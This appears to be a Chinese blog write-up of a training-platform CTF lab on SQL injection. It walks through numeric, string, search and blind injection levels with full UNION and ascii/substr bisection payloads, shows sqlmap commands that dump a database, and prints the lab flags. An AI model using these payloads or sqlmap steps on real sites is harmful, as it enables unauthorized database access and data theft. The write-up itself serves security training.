课程

  • 一、数字型注入
  • 二、字符型注入
  • 三、搜索型注入
  • 四、盲注型

需要知道的知识:
mysql中的information_schema 结构用来存储数据库系统信息
information_schema 结构中这几个表存储的信息,在注入中可以用到的几个表。
SCHEMATA :存储数据库名的,
——>关键字段:SCHEMA_NAME,表示数据库名称

TABLES :存储表名的
——>关键字段:TABLE_SCHEMA表示表所属的数据库名称;
——>关键字段:TABLE_NAME表示所属的表的名称

COLUMNS :存储字段名的
——>关键字段:COLUMN_NAME表示字段名

一、数字型注入

1、判断注入存在:and 1=1 and 1=2返回不同

2、猜测数据库
获取所有数据库名:
1 and 1=2 union select group_concat(schema_name) from information_schema.schemata;

information_schema,lession1,test
3、猜测数据库表:
获取"lession1"数据库的所有表名:
1 and 1=2 union select group_concat(table_name) from information_schema.tables where table_schema=“lession1”

4、猜字段
1 and 1=2 union select group_concat(table_name) from information_schema.tables where table_schema="lession1"and table_name=“flag”

5、获取flag :
1 and 1=2 union select group_concat(flag) from lession1.flag

得到flag:3347aeb7b48b6d8ca56025a3fc2fab9a
输入到输入框:

点击提交,通过就到了下一关:

二、字符型注入

1、判断注入存在: amin’and"1’=‘1 amin’and’1’=2返回不同
2、猜测数据库
admin1’ union select group_concat(schema_name) from information_schema.schemata%23;

得到information_schema,lession2,test
3、猜测数据库表︰
admin1%27union select group_concat(table_name) from information_schema.tables where table_schema=“lession2”%23

得到flag表
4、猜字段
admin2%27 union select group_concat(table_name) from information_schema.tables where table_schema=“lession2” and table_name=“flag”%23

字段名也叫flag
5、获取flag :
admin2%27union select group_concat(flag)%20from%20lession2.flag%23

得到flag:d467475c0b0ac1eb2a2d58a0bf204e0e

三、搜索型注入

1、判断注入存在:
admin%25%27and%201=2
admin%25%27and%201=1 --+返回不同
2、猜测数据库
admin1%25%27union select group_concat(schema_name) from information_schema.schemata%23

得到information_schema,lession3,test
3、猜测数据库表︰
admin1%25%27union select group_concat(table_name) from information_schema.tables where table_schema=“lession3”%23

得到flag表
4、猜字段
admin2%25%27union select group_concat(table_name) from information_schema.tables where table_schema=“lession3” and table_name=“flag”%23

字段名也叫flag
5、获取flag :
admin2%25%27union%20select%20group_concat(flag)%20from%20lession3.flag%23

得到flag:21fb2c6c87d00ae12f0fce84d64cf511

四、盲注型

1.二分计算数据库长度

id=1 and (select length(group_concat(schema_name)) from information_schema.schemata)=32

返回结果正常,证明数据库的长度
2.二分查找数据库名

id=1 and ascii(substr((select group_concat(schema_name) from information_schema.schemata),1,1))>105

返回结果错误,证明数据库名的第一个字母的ASCII码值没有大于105
3.二分查找表

id=1 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="lession4"),1,1)) >105

返回结果错误,证明表名的第一个字母的ASCII码值没有大于105

4.二分查找表字段名

id=1 and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema="lession4" and table_name="flag"),1,1))>105

返回结果错误,证明字段名的第一个字母的ASCII码值没有大于105

5.二分查找获得数据

id=1 and ascii(substr((select group_concat(flag) from lession4.flag),1,1))>105

返回结果错误,证明flag的第一个字母的ASCII码值没有大于105
6.盲注推荐使用工具-sqlmap

–batch 批处理,在检测过程中会问用户一些问题,使用这个参数统统使用默认值。
–dbs 目标服务器中有什么数据库,常用,直接用–dbs
–current-user 当前用户,常用,直接用–current-user
–current-db 当前数据库,常用,直接用–current-db
–tables 目标数据库有什么表,常用,直接用–tables
–columns 目标表中有什么列,常用,直接用–colums
–schema 目标数据库数据库系统管理模式。
–search 搜索列、表和/或数据库名称。
-D DB 指定从某个数据库查询数据,常用。例: -D admindb
-T TBL 指定从某个表查询数据,常用。例: -T admintable
-C COL 指定从某个列查询数据,常用。例: -C username

得到完整的请求数据包:

保存为linghao.txt

py -2 sqlmap.py -r linghao.txt --batch

发现参数id有基于时间的盲注,MySQL >= 5.0.12和基于时间的盲注,
有效载荷:id=1 AND SLEEP(5)
后端数据库是MySQL,web服务器操作系统:Linux Ubuntu,web应用技术:PHP 5.5.9, Nginx 1.16.1

py -2 sqlmap.py -r linghao.txt --dbs

Sqlmap也是通过ASCII码一个一个字母盲注出来的,一共有3个数据,找到目标数据库lession4

py -2 sqlmap.py -r linghao.txt -D lession4 --tables

找到数据表名flag

py -2 sqlmap.py -r linghao.txt -D lession4 -T flag --dump
![在这里插入图片描述](https://img-blog.csdnimg.cn/8e19619fc03640a8b95591b91ff18277.png)

得到flag:0dc8b42164407fc640c86b48d5ec9bf0
提交flag:

得到最终flag:3347aeb7b48b6d8ca56025a3fc2fab9ad467475c0b0ac1eb2a2d58a0bf204e0e21fb2c6c87d00ae12f0fce84d64cf5110dc8b42164407fc640c86b48d5ec9bf0

零号培训平台课程-1、SQL注入基础相关推荐

  1. SQL注入 基础概述及相关知识

    SQL注入 基础概述及相关知识 SQL注入概述 SQL注入攻击简介 SQL注入攻击原理 SQL注入攻击来源 SQL注入攻击主要特点 SQL注入攻击危害 SQL注入攻击 SQL注入攻击基础概述 SQL注 ...

  2. SQL注入基础原理与案例(详细总结)

    SQL注入基础原理与案例 一.前言 二.漏洞概述及危害 1.漏洞概述 2.漏洞危害 3.漏洞防范 三.SQL注入 1.SQL注入方式 (1)信息收集 (2)数据注入 (3)高权限注入 2.判断是否存在 ...

  3. 米斯特白帽培训讲义 漏洞篇 SQL 注入

    米斯特白帽培训讲义 漏洞篇 SQL 注入 讲师:gh0stkey 整理:飞龙 协议:CC BY-NC-SA 4.0 原理与危害 SQL 注入就是指,在输入的字符串中注入 SQL 语句,如果应用相信用户 ...

  4. 学一点SQL注入基础

    文章目录 学一点SQL注入基础 思维导图 注入原理 MySQL三种注释 MySQL三种注入方式 联合查询注入 确定字段数 常规步骤 sqlmap的使用 跨库注入 MySQL注入获取最高权限-文件操作 ...

  5. SQL注入基础--判断闭合形式

    这里写自定义目录标题 ** **SQL注入基础--判断闭合形式** ## 1.整形闭合 2.单引号闭合 3.双引号闭合 总结 ** SQL注入基础–判断闭合形式 SQL语句的闭合形式大概如下几种: S ...

  6. 渗透测试之SQL注入基础

    渗透测试之SQL注入基础 SQL注入类型 按照数据类型类型来分类 按照执行效果来分类(页面回显效果) 按照数据提交的方式来分类 判断注入类型的方法 MySQL注入基础 联合查询注入 布尔注入 时间盲注 ...

  7. sql注入基础原理(SQL injection)

    sql注入基础原理 文章目录 sql注入基础原理 Sql注入简介 案例表 产生sql注入的写法 python 相关 java 相关 php 相关 sql注入相关技术 B: 基于布尔的盲注特征 案例 总 ...

  8. Wmm的学习日记(SQL注入基础)

    这周听了一节三个半小时的网课,有关sql注入,消除了我对sql注入的"恐惧",也算是浅浅入了下门吧,虽然学会了点皮毛,但是还是成就感满满,哈哈哈,从0到0.001也是一件值得庆祝的 ...

  9. SQL注入基础知识总结

    SQL注入-基础知识总结 1.注释符 1.1.Mysql中注释符有三种 1.2.总结 2.information_schema库 2.1.了解information_schema库 2.2.常用注入语 ...

最新文章

  1. rejection from MPhil in Technology policy at cambridge
  2. jQuery中的for循环var与let区别
  3. 提高表格可读性的一些技巧
  4. python作业题目用户输入行数、输出倒的等腰三角形_智慧职教云课堂APPPython程序设计(常州工业职业技术学院)作业期末考试答案...
  5. python常用类型的内置函数列表
  6. 美国教授描述未来学校,将颠覆现有教育模式
  7. 多条实体类数据怎么接受_解决并发问题,数据库常用的两把锁!
  8. 设备的开发【WP7学习札记之五】
  9. FFMPEG发布RTSP流
  10. 【Spring-tx】关于spring事务的思考
  11. 元宇宙价值链解读:元宇宙现实体系映射对未来的影响
  12. VTuber拍摄幕后:操作员、动捕设备、软件支撑
  13. 计算机cad标题栏快捷键,AutoCAD快捷键和工具栏及菜单栏大集合
  14. python:实现培根密码算法(附完整源码)
  15. 石家庄地铁查询系统开发进度
  16. 约克大学计算机语言班,约克大学语言班申请
  17. 华为鸿蒙的三大遗憾和一个好消息
  18. 【论文学习】STN —— Spatial Transformer Networks
  19. linux删除pdf密码
  20. python数据分析考试题库_Python数据分析与数据可视化章节考试题库

热门文章

  1. 差动驱动机器人轨迹-CoCube
  2. 小牛电动增收不增利:年度净利润下滑11%,外部竞争愈发激烈
  3. 推荐最适合IT人自学的视频网站和社区网站
  4. 勇敢者游戏(捡石子问题)
  5. java电商网站源码带前后台
  6. 81章 老子1章到_老子道德经全文翻译(全81章)之一
  7. linux硬盘盘符更改,linux更改emc磁盘盘符
  8. 如何从Facebook组中删除帖子
  9. 1992年的鹿鼎记台词,嘛的,哥20年后才看到
  10. 在计算机内部 g的asc,在计算机内部,大写字母“G”的ASCⅡ码为“1000111”,大写字母“K”的ASCⅡ码为()。...